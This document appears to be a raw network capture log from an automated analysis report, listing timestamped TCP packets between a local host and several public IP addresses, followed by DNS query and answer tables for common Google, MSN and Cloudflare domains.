Nov 22, 2024 17:10:04.622045040 CET	443	49899	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.622118950 CET	49899	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.622313023 CET	49899	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.622328997 CET	443	49899	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.830667973 CET	49900	80	192.168.2.10	185.215.113.43
Nov 22, 2024 17:10:04.927443027 CET	443	49896	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.927522898 CET	443	49896	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.927592039 CET	49896	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.927803993 CET	49896	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.927834034 CET	443	49896	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.927853107 CET	49896	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.927858114 CET	443	49896	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.930583000 CET	49901	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.930613041 CET	443	49901	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.930685043 CET	49901	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.930836916 CET	49901	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.930849075 CET	443	49901	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.938838959 CET	443	49895	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.938920975 CET	443	49895	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.938986063 CET	49895	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.939203978 CET	49895	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.939220905 CET	443	49895	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.939240932 CET	49895	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.939253092 CET	443	49895	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.942148924 CET	49902	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.942186117 CET	443	49902	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.942245960 CET	49902	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.943526030 CET	49902	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.943543911 CET	443	49902	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.950316906 CET	80	49900	185.215.113.43	192.168.2.10
Nov 22, 2024 17:10:04.950434923 CET	49900	80	192.168.2.10	185.215.113.43
Nov 22, 2024 17:10:04.950645924 CET	49900	80	192.168.2.10	185.215.113.43
Nov 22, 2024 17:10:05.089440107 CET	80	49900	185.215.113.43	192.168.2.10
Nov 22, 2024 17:10:05.189265013 CET	443	49897	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:05.189800978 CET	49897	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:05.189826965 CET	443	49897	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:05.190259933 CET	49897	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:05.190265894 CET	443	49897	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:05.641277075 CET	443	49897	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:05.641356945 CET	443	49897	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:05.641602039 CET	49897	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:05.641838074 CET	49897	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:05.641860962 CET	443	49897	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:05.641874075 CET	49897	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:05.641880035 CET	443	49897	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:05.645575047 CET	49903	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:05.645632982 CET	443	49903	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:05.645767927 CET	49903	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:05.645958900 CET	49903	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:05.645976067 CET	443	49903	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.365829945 CET	80	49900	185.215.113.43	192.168.2.10
Nov 22, 2024 17:10:06.365902901 CET	49900	80	192.168.2.10	185.215.113.43
Nov 22, 2024 17:10:06.387365103 CET	443	49898	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.388197899 CET	49898	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.388221979 CET	443	49898	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.388899088 CET	49898	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.388911009 CET	443	49898	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.405414104 CET	443	49899	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.406028986 CET	49899	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.406068087 CET	443	49899	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.406491041 CET	49899	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.406502962 CET	443	49899	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.831494093 CET	443	49898	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.831572056 CET	443	49898	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.831638098 CET	49898	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.831809998 CET	49898	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.831835985 CET	443	49898	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.831847906 CET	49898	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.831854105 CET	443	49898	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.834677935 CET	443	49902	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.835079908 CET	49902	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.835098028 CET	443	49902	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.835546017 CET	49902	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.835551023 CET	443	49902	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.835642099 CET	49904	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.835681915 CET	443	49904	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.835762024 CET	49904	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.835900068 CET	49904	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.835915089 CET	443	49904	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.848743916 CET	443	49899	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.848843098 CET	443	49899	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.848917007 CET	49899	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.849092960 CET	49899	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.849112034 CET	443	49899	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.849114895 CET	49899	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.849122047 CET	443	49899	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.852183104 CET	49905	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.852232933 CET	443	49905	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:06.852298021 CET	49905	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.852461100 CET	49905	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:06.852474928 CET	443	49905	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.288552999 CET	443	49902	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.288620949 CET	443	49902	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.288701057 CET	49902	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.288906097 CET	49902	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.288924932 CET	443	49902	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.288935900 CET	49902	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.288942099 CET	443	49902	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.291527033 CET	49906	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.291563988 CET	443	49906	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.291630030 CET	49906	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.291804075 CET	49906	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.291811943 CET	443	49906	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.517584085 CET	443	49903	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.522170067 CET	49903	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.522196054 CET	443	49903	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.522788048 CET	49903	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.522794008 CET	443	49903	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.878731012 CET	443	49901	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.879484892 CET	49901	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.879501104 CET	443	49901	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.880177975 CET	49901	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.880183935 CET	443	49901	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.880604029 CET	49900	80	192.168.2.10	185.215.113.43
Nov 22, 2024 17:10:07.880943060 CET	49907	80	192.168.2.10	185.215.113.43
Nov 22, 2024 17:10:07.979250908 CET	443	49903	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.979340076 CET	443	49903	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.979449034 CET	49903	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.979568958 CET	49903	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.979584932 CET	443	49903	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.979593992 CET	49903	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.979602098 CET	443	49903	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.982647896 CET	49908	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.982671022 CET	443	49908	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:07.982795000 CET	49908	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.983000040 CET	49908	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:07.983014107 CET	443	49908	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:08.000539064 CET	80	49907	185.215.113.43	192.168.2.10
Nov 22, 2024 17:10:08.000639915 CET	49907	80	192.168.2.10	185.215.113.43
Nov 22, 2024 17:10:08.000835896 CET	49907	80	192.168.2.10	185.215.113.43
Nov 22, 2024 17:10:08.001271009 CET	80	49900	185.215.113.43	192.168.2.10
Nov 22, 2024 17:10:08.001332045 CET	49900	80	192.168.2.10	185.215.113.43
Nov 22, 2024 17:10:08.120315075 CET	80	49907	185.215.113.43	192.168.2.10
Nov 22, 2024 17:10:08.506479979 CET	443	49901	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:08.506573915 CET	443	49901	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:08.506620884 CET	49901	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:08.506772995 CET	49901	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:08.506791115 CET	443	49901	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:08.506807089 CET	49901	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:08.506814003 CET	443	49901	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:08.509752989 CET	49909	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:08.509802103 CET	443	49909	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:08.509870052 CET	49909	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:08.510049105 CET	49909	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:08.510063887 CET	443	49909	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:08.640989065 CET	443	49905	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:08.641845942 CET	49905	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:08.641879082 CET	443	49905	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:08.642299891 CET	49905	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:08.642306089 CET	443	49905	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:08.693567991 CET	443	49904	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:08.694133043 CET	49904	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:08.694148064 CET	443	49904	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:08.694610119 CET	49904	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:08.694617987 CET	443	49904	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.087177038 CET	443	49905	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.087256908 CET	443	49905	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.087337017 CET	49905	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.087601900 CET	49905	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.087651014 CET	443	49905	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.087683916 CET	49905	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.087730885 CET	443	49905	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.094434023 CET	49910	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.094497919 CET	443	49910	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.094559908 CET	49910	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.094754934 CET	49910	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.094767094 CET	443	49910	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.104032040 CET	443	49906	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.104518890 CET	49906	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.104547977 CET	443	49906	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.104983091 CET	49906	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.104993105 CET	443	49906	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.149696112 CET	443	49904	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.149770021 CET	443	49904	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.149857044 CET	49904	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.150366068 CET	49904	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.150393009 CET	443	49904	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.150408030 CET	49904	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.150413990 CET	443	49904	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.158081055 CET	49911	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.158126116 CET	443	49911	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.158217907 CET	49911	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.158435106 CET	49911	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.158444881 CET	443	49911	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.410229921 CET	80	49907	185.215.113.43	192.168.2.10
Nov 22, 2024 17:10:09.410381079 CET	49907	80	192.168.2.10	185.215.113.43
Nov 22, 2024 17:10:09.414663076 CET	49912	80	192.168.2.10	31.41.244.11
Nov 22, 2024 17:10:09.539366007 CET	80	49912	31.41.244.11	192.168.2.10
Nov 22, 2024 17:10:09.541512012 CET	49912	80	192.168.2.10	31.41.244.11
Nov 22, 2024 17:10:09.541699886 CET	49912	80	192.168.2.10	31.41.244.11
Nov 22, 2024 17:10:09.567915916 CET	443	49906	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.568083048 CET	443	49906	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.568202019 CET	49906	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.568397999 CET	49906	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.568447113 CET	443	49906	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.568475962 CET	49906	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.568491936 CET	443	49906	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.571546078 CET	49913	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.571594954 CET	443	49913	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.571681023 CET	49913	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.571861029 CET	49913	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.571878910 CET	443	49913	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.661149025 CET	80	49912	31.41.244.11	192.168.2.10
Nov 22, 2024 17:10:09.747205019 CET	443	49908	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.747654915 CET	49908	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.747664928 CET	443	49908	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:09.748096943 CET	49908	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:09.748100996 CET	443	49908	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.181512117 CET	443	49908	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.181601048 CET	443	49908	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.181735992 CET	49908	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:10.182200909 CET	49908	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:10.182213068 CET	443	49908	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.182220936 CET	49908	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:10.182225943 CET	443	49908	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.185220003 CET	49914	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:10.185261011 CET	443	49914	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.185340881 CET	49914	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:10.185528994 CET	49914	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:10.185549021 CET	443	49914	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.345043898 CET	443	49909	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.345854998 CET	49909	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:10.345868111 CET	443	49909	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.346317053 CET	49909	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:10.346322060 CET	443	49909	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.829945087 CET	443	49909	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.830008984 CET	443	49909	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.830208063 CET	49909	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:10.830668926 CET	49909	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:10.830693960 CET	443	49909	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.830719948 CET	49909	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:10.830738068 CET	443	49909	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.834227085 CET	49915	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:10.834269047 CET	443	49915	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:10.834336042 CET	49915	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:10.834486961 CET	49915	443	192.168.2.10	13.107.246.63

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 22, 2024 17:08:36.628288984 CET	192.168.2.10	1.1.1.1	0x136e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:36.628523111 CET	192.168.2.10	1.1.1.1	0x61a7	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 22, 2024 17:08:43.582979918 CET	192.168.2.10	1.1.1.1	0xf648	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:43.583128929 CET	192.168.2.10	1.1.1.1	0x6e18	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 22, 2024 17:08:44.575330973 CET	192.168.2.10	1.1.1.1	0x4d0d	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:44.575490952 CET	192.168.2.10	1.1.1.1	0x3e7b	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 22, 2024 17:08:48.300199986 CET	192.168.2.10	1.1.1.1	0x4bf8	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:48.306444883 CET	192.168.2.10	1.1.1.1	0x8935	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 22, 2024 17:08:50.955914974 CET	192.168.2.10	1.1.1.1	0xcd94	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:50.956057072 CET	192.168.2.10	1.1.1.1	0x8ab2	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 22, 2024 17:08:51.879790068 CET	192.168.2.10	1.1.1.1	0xdcd2	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:51.880188942 CET	192.168.2.10	1.1.1.1	0xd739	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 22, 2024 17:08:53.143764019 CET	192.168.2.10	1.1.1.1	0xf67f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.143925905 CET	192.168.2.10	1.1.1.1	0xed8b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 22, 2024 17:08:53.144387007 CET	192.168.2.10	1.1.1.1	0x92fa	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.144799948 CET	192.168.2.10	1.1.1.1	0xd40a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 22, 2024 17:08:53.155668020 CET	192.168.2.10	1.1.1.1	0x7e3a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.155811071 CET	192.168.2.10	1.1.1.1	0x540c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 22, 2024 17:08:53.782871962 CET	192.168.2.10	1.1.1.1	0x85a2	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.783128977 CET	192.168.2.10	1.1.1.1	0x5b2f	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 22, 2024 17:08:53.790031910 CET	192.168.2.10	1.1.1.1	0xe396	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.790489912 CET	192.168.2.10	1.1.1.1	0xd089	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 22, 2024 17:08:53.818490028 CET	192.168.2.10	1.1.1.1	0xefc2	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.818825960 CET	192.168.2.10	1.1.1.1	0xa42d	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 22, 2024 17:08:53.921490908 CET	192.168.2.10	1.1.1.1	0x9c46	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.921696901 CET	192.168.2.10	1.1.1.1	0xa3f2	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 22, 2024 17:08:54.062381029 CET	192.168.2.10	1.1.1.1	0x8d11	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:54.062722921 CET	192.168.2.10	1.1.1.1	0xba30	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 22, 2024 17:09:52.708081007 CET	192.168.2.10	1.1.1.1	0x3ee4	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:09:52.708401918 CET	192.168.2.10	1.1.1.1	0xd715	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 22, 2024 17:08:36.766263008 CET	1.1.1.1	192.168.2.10	0x136e	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:36.766515017 CET	1.1.1.1	192.168.2.10	0x61a7	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 22, 2024 17:08:43.719975948 CET	1.1.1.1	192.168.2.10	0xf648	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:43.719975948 CET	1.1.1.1	192.168.2.10	0xf648	No error (0)	plus.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:43.814573050 CET	1.1.1.1	192.168.2.10	0x6e18	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:44.712723017 CET	1.1.1.1	192.168.2.10	0x4d0d	No error (0)	play.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:48.440100908 CET	1.1.1.1	192.168.2.10	0x4bf8	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:48.449305058 CET	1.1.1.1	192.168.2.10	0x8935	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:48.878010035 CET	1.1.1.1	192.168.2.10	0x7bb7	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:48.952538967 CET	1.1.1.1	192.168.2.10	0xd052	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:48.952538967 CET	1.1.1.1	192.168.2.10	0xd052	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:51.093306065 CET	1.1.1.1	192.168.2.10	0xcd94	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:51.093499899 CET	1.1.1.1	192.168.2.10	0x8ab2	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:52.018547058 CET	1.1.1.1	192.168.2.10	0xdcd2	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:52.018547058 CET	1.1.1.1	192.168.2.10	0xdcd2	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:52.018598080 CET	1.1.1.1	192.168.2.10	0xd739	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 17:08:53.280914068 CET	1.1.1.1	192.168.2.10	0xf67f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.280914068 CET	1.1.1.1	192.168.2.10	0xf67f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.281025887 CET	1.1.1.1	192.168.2.10	0xed8b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 22, 2024 17:08:53.281941891 CET	1.1.1.1	192.168.2.10	0xd40a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 22, 2024 17:08:53.282361984 CET	1.1.1.1	192.168.2.10	0x92fa	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 17:08:53.282361984 CET	1.1.1.1	192.168.2.10	0x92fa	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
